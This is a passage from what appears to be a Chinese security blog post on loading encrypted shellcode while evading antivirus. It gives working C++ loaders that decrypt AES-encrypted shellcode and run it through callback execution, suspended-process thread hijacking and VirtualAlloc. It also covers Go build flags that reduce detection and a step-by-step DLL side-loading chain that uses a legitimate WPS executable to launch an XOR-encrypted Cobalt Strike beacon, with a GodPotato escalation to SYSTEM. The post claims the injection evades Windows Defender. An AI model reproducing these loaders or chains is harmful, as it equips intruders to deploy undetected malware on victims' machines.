</span></span><span class="line"><span class="cl">            <span class="sc">&#39;0&#39;</span><span class="p">,</span><span class="sc">&#39;1&#39;</span><span class="p">,</span><span class="sc">&#39;2&#39;</span><span class="p">,</span><span class="sc">&#39;3&#39;</span><span class="p">,</span><span class="sc">&#39;4&#39;</span><span class="p">,</span><span class="sc">&#39;5&#39;</span><span class="p">,</span><span class="sc">&#39;6&#39;</span><span class="p">,</span><span class="sc">&#39;7&#39;</span><span class="p">,</span><span class="sc">&#39;8&#39;</span><span class="p">,</span><span class="sc">&#39;9&#39;</span><span class="p">,</span><span class="sc">&#39;a&#39;</span><span class="p">,</span><span class="sc">&#39;b&#39;</span><span class="p">,</span><span class="sc">&#39;c&#39;</span><span class="p">,</span><span class="sc">&#39;d&#39;</span><span class="p">,</span><span class="sc">&#39;e&#39;</span><span class="p">,</span><span class="sc">&#39;f&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="sc">&#39;0&#39;</span><span class="p">,</span><span class="sc">&#39;1&#39;</span><span class="p">,</span><span class="sc">&#39;2&#39;</span><span class="p">,</span><span class="sc">&#39;3&#39;</span><span class="p">,</span><span class="sc">&#39;4&#39;</span><span class="p">,</span><span class="sc">&#39;5&#39;</span><span class="p">,</span><span class="sc">&#39;6&#39;</span><span class="p">,</span><span class="sc">&#39;7&#39;</span><span class="p">,</span><span class="sc">&#39;8&#39;</span><span class="p">,</span><span class="sc">&#39;9&#39;</span><span class="p">,</span><span class="sc">&#39;a&#39;</span><span class="p">,</span><span class="sc">&#39;b&#39;</span><span class="p">,</span><span class="sc">&#39;c&#39;</span><span class="p">,</span><span class="sc">&#39;d&#39;</span><span class="p">,</span><span class="sc">&#39;e&#39;</span><span class="p">,</span><span class="sc">&#39;f&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// PKCS7 填充后密文更长；originSize 必须填加密脚本打印的 Original Shellcode Size
</span></span></span><span class="line"><span class="cl">        <span class="n">DWORD</span> <span class="n">originSize</span> <span class="o">=</span> <span class="mi">36999</span><span class="p">;</span>  <span class="c1">// 示例值，按实战输出修改
</span></span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">ushellcode</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// size 须为 16 的倍数（与 Python pad 后长度一致）
</span></span></span><span class="line"><span class="cl">        <span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">ushellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">DWORD</span> <span class="n">dwOldPro</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">VirtualProtect</span><span class="p">(</span><span class="n">ushellcode</span><span class="p">,</span> <span class="n">originSize</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwOldPro</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">EnumUILanguages</span><span class="p">((</span><span class="n">UILANGUAGE_ENUMPROC</span><span class="p">)(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">ushellcode</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// shellcode 若常驻内存（如 beacon），此处不可 delete[]
</span></span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="23-rsa-加密解密">2.3 RSA 加密解密</h3>
<p>参考：<a href="https://mp.weixin.qq.com/s/jkdQwRzmNGmCJztN4KBztw" target="_blank" rel="noopener noreffer ">RSA 加密 shellcode 实践</a></p>
<h2 id="三加载方式">三、加载方式</h2>
<h3 id="31-virtualprotect-动态更改内存属性并执行">3.1 VirtualProtect 动态更改内存属性并执行</h3>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>回调执行<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><code>EnumUILanguages</code> 等 API 把 shellcode 当回调调用，是常见执行方式。参数会被传入，多数 PIC shellcode 可忽略。若载荷常驻（beacon），执行后<strong>不要</strong> <code>delete[]</code> / <code>free</code> 这块内存。</div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">dwOldPro</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">VirtualProtect</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwOldPro</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">EnumUILanguages</span><span class="p">((</span><span class="n">UILANGUAGE_ENUMPROC</span><span class="p">)</span><span class="n">shellcode</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 常驻 shellcode：不要在这里释放 shellcode
</span></span></span></code></pre></div></div>
<h3 id="32-傀儡进程注入挂起进程改入口">3.2 傀儡进程注入（挂起进程改入口）</h3>
<blockquote>
<p>此处是：挂起创建进程 → 远程分配写入 shellcode → <code>SetThreadContext</code> 改入口 → 恢复执行。<br>
<strong>不是</strong>经典 Process Hollowing（卸载原映像再替换 PE）。</p>
</blockquote>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>杀软差异<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">此方式无法免杀 Avast，实测可免杀 Windows Defender。下列示例为 <strong>x86</strong>（使用 <code>Eip</code>）；x64 应改用 <code>Rip</code>，并将目标进程改为同架构。</div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">PROCESS_INFORMATION</span> <span class="n">ProcessInformation</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="n">STARTUPINFOA</span> <span class="n">StartupInfo</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="n">remote</span> <span class="o">=</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">CONTEXT</span> <span class="n">Context</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">DwWrite</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">StartupInfo</span><span class="p">.</span><span class="n">cb</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">StartupInfo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 0x4 = CREATE_SUSPENDED；命令行需可写缓冲区（勿直接传字符串字面量）
</span></span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">cmdLine</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">explorer.exe&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">BOOL</span> <span class="n">result</span> <span class="o">=</span> <span class="n">CreateProcessA</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="k">nullptr</span><span class="p">,</span> <span class="n">cmdLine</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_SUSPENDED</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="k">nullptr</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">StartupInfo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ProcessInformation</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">result</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">Context</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_FULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">GetThreadContext</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">Context</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">remote</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span>
</span></span><span class="line"><span class="cl">    <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remote</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">DwWrite</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">Context</span><span class="p">.</span><span class="n">Eip</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)(</span><span class="n">uintptr_t</span><span class="p">)</span><span class="n">remote</span><span class="p">;</span>  <span class="c1">// x86 only
</span></span></span><span class="line"><span class="cl">    <span class="n">SetThreadContext</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">Context</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">ResumeThread</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">delete</span><span class="p">[]</span> <span class="n">shellcode</span><span class="p">;</span></span></span></code></pre></div></div>
<h3 id="33-virtualalloc-分配内存并执行">3.3 VirtualAlloc 分配内存并执行</h3>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">LPVOID</span> <span class="n">allocatedMemory</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="nb">NULL</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">allocatedMemory</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">delete</span><span class="p">[]</span> <span class="n">shellcode</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">memcpy</span><span class="p">(</span><span class="n">allocatedMemory</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="n">shellcodeFunction</span><span class="p">)()</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">allocatedMemory</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">shellcodeFunction</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 常驻 shellcode：不要 VirtualFree(allocatedMemory, ...)
</span></span></span></code></pre></div></div>
<h2 id="四现成加载器">四、现成加载器</h2>
<table>
	<thead>
			<tr>
					<th>工具</th>
					<th>说明</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="https://github.com/INotGreen/Gllloader" target="_blank" rel="noopener noreffer ">Gllloader</a></td>
					<td>集成 C/C++、C#、Nim、PowerShell 免杀加载器</td>
			</tr>
			<tr>
					<td><a href="https://github.com/Pizz33/GobypassAV-shellcode" target="_blank" rel="noopener noreffer ">GobypassAV-shellcode</a></td>
					<td>Go 实现的 shellcode 加载器（效果随杀软版本变化，需自行验证）</td>
			</tr>
	</tbody>
</table>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>实测<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">某次测试中，远程加载方式可过 Defender（2023-07-13）；不能当作长期结论。</div>
    </div>
</div>
<p><strong>Go 编译（推荐，减小特征）：</strong></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">CGO_ENABLED</span><span class="o">=</span><span class="m">0</span> <span class="nv">GOOS</span><span class="o">=</span>windows <span class="nv">GOARCH</span><span class="o">=</span>amd64 go build -ldflags<span class="o">=</span><span class="s2">&#34;-w -s -H windowsgui&#34;</span> -o out.exe</span></span></code></pre></div></div>
<p><strong>默认编译（容易被杀）：</strong></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">GOOS</span><span class="o">=</span>windows <span class="nv">GOARCH</span><span class="o">=</span>amd64 go build</span></span></code></pre></div></div>
<h2 id="五实战案例">五、实战案例</h2>
<h3 id="51-cs-shellcode--加密--白加黑-dll-解密">5.1 CS Shellcode + 加密 + 白加黑 DLL 解密</h3>
<p>典型链路：<strong>CS 生成 shellcode → XOR 加密存盘 → 恶意 DLL 读取解密执行 → 白 EXE 触发加载</strong>。</p>
<div class="mermaid" id="id-5">flowchart TD
    A[&#34;Cobalt Strike 生成 C shellcode&#34;] --&gt; B[&#34;保存为 .bin&#34;]
    B --&gt; C[&#34;ShellcodeEncrypt.py XOR 加密&#34;]
    C --&gt; D[&#34;加密数据文件&lt;br/&gt;如 et.dat&#34;]
    E[&#34;发现白文件（如 WPS et.exe）&#34;] --&gt; F[&#34;AheadLib 解析原 DLL&#34;]
    F --&gt; G[&#34;VS 编写恶意 DLL&lt;br/&gt;读文件 → 解密 → 执行&#34;]
    D --&gt; G
    G --&gt; H[&#34;同目录部署&lt;br/&gt;白 EXE &#43; 恶意 DLL &#43; 加密文件&#34;]
    H --&gt; I[&#34;执行白 EXE → 上线&#34;]</div>
<p>DLL 劫持与搜索顺序原理见 <a href="https://blog.leeissonba.com/posts/windows-dll-hijacking-analysis/" target="_blank" rel="noopener noreffer ">Windows 白加黑技术剖析</a>。</p>
<h4 id="step-1发现可利用白文件">Step 1：发现可利用白文件</h4>
<p>以 WPS 为例：<code>et.exe</code> 等程序依赖同目录下某个 DLL，构造同名恶意 DLL 即可劫持加载。</p>
<p><figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" title="/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" data-sub-html="<h2>WPS 白文件示例</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">WPS 白文件示例</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" title="/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" data-sub-html="<h2>白文件依赖的 DLL</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">白文件依赖的 DLL</figcaption>
    </figure></p>
<h4 id="step-2改造-dll">Step 2：改造 DLL</h4>
<ol>
<li>用 <strong>AheadLib</strong> 解析原始 DLL，导出函数转发桩</li>
</ol>
<p><figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" title="/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" data-sub-html="<h2>AheadLib 解析 DLL</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">AheadLib 解析 DLL</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" title="/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" data-sub-html="<h2>导出函数桩代码</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">导出函数桩代码</figcaption>
    </figure></p>
<ol start="2">
<li>VS 新建 DLL 项目，导入生成的代码</li>
</ol>
<p><figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" title="/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" data-sub-html="<h2>VS 新建 DLL 项目</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">VS 新建 DLL 项目</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" title="/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" data-sub-html="<h2>导入 AheadLib 生成代码</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">导入 AheadLib 生成代码</figcaption>
    </figure></p>
<ol start="3">
<li>在导出函数或<strong>延迟执行</strong>路径中写入：<strong>读加密文件 → XOR 解密 → 执行 shellcode</strong>（见第二、三章）</li>
</ol>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>不要在 DllMain 里直接跑重活<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><code>DllMain</code>（<code>DLL_PROCESS_ATTACH</code>）处于 loader lock：不宜在此加载 CLR、创建复杂线程同步、跑 GodPotato / donut 的 .NET shellcode 等。常见做法是 <code>CreateThread</code> 把解密与执行放到新线程，或放到导出函数中，待 <code>LoadLibrary</code> 返回后再跑。</div>
    </div>
</div>
<ol start="4">
<li>编译设置：
<ul>
<li>asm 文件属性 → 自定义</li>
<li>C/C++ → 代码生成 → 运行库 → <strong>多线程 (/MT)</strong></li>
<li>C/C++ → 预编译头 → <strong>不使用预编译头</strong></li>
<li>链接器 → 调试 → 生成调试信息 → <strong>否</strong></li>
<li>平台选与白文件一致的 <strong>Win32 / x64</strong></li>
</ul>
</li>
</ol>
<h4 id="step-3生成并加密-shellcode">Step 3：生成并加密 shellcode</h4>
<ol>
<li>CS 用 <strong>Payload Generator</strong> 导出 C 格式，再转为原始 <code>.bin</code>（供加密脚本按二进制读取）</li>
</ol>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" title="/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" data-sub-html="<h2>CS 生成 C 格式 shellcode</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">CS 生成 C 格式 shellcode</figcaption>
    </figure>
<ol start="2">
<li>用 XOR 脚本加密，保存为与 DLL 读取逻辑<strong>约定一致</strong>的文件名</li>
</ol>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>文件名约定<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><p>第二章示例用 <code>GetModuleFileName</code> 把宿主 EXE 的扩展名改成 <code>.dat</code>（如 <code>et.exe</code> → <code>et.dat</code>）。若 DLL 写死读 <code>xx.ini</code>，则加密输出也必须叫 <code>xx.ini</code>。名称不一致会读文件失败。</p>
<p>同一密钥对数据 XOR <strong>偶数次</strong>等于未加密，<strong>奇数次</strong>等价于一次；要「多层」需换不同密钥，并按相反顺序解密。</p>
</div>
    </div>
</div>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" title="/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" data-sub-html="<h2>XOR 加密后保存</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">XOR 加密后保存</figcaption>
    </figure>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 ShellcodeEncrypt.py payload.bin et.dat</span></span></code></pre></div></div>
<h4 id="step-4上线">Step 4：上线</h4>
<p>将 <strong>白 EXE + 恶意 DLL + 加密 shellcode 文件</strong> 放同一目录，执行白 EXE 即可上线。</p>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" title="/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" data-sub-html="<h2>同目录部署后执行白 EXE</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">同目录部署后执行白 EXE</figcaption>
    </figure>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Go DLL<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">用 Go 写 DLL 时，可在 <code>init()</code> 里启动逻辑，但同样应避免在持有 loader lock 时做重活；更稳妥是 <code>init()</code> 里只 <code>CreateThread</code>，真正解密执行放到线程函数中。Go DLL 还需注意运行时与 c-shared 导出配置。</div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-go">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">init</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c1">// 建议：go func() { 读 .dat → 解密 → 执行 }()</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c1">// 不要在 init 里同步跑耗时/加载 CLR 的逻辑</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="52-godpotato--白加黑">5.2 GodPotato + 白加黑</h3>
<p>项目：<a href="https://github.com/BeichenDream/GodPotato" target="_blank" rel="noopener noreffer ">GodPotato</a></p>
<p><strong>链路：</strong> 在<strong>已具备提权条件</strong>的会话里，用白加黑拉起 GodPotato shellcode → GodPotato 提权到 SYSTEM → 再拉起 beacon。</p>
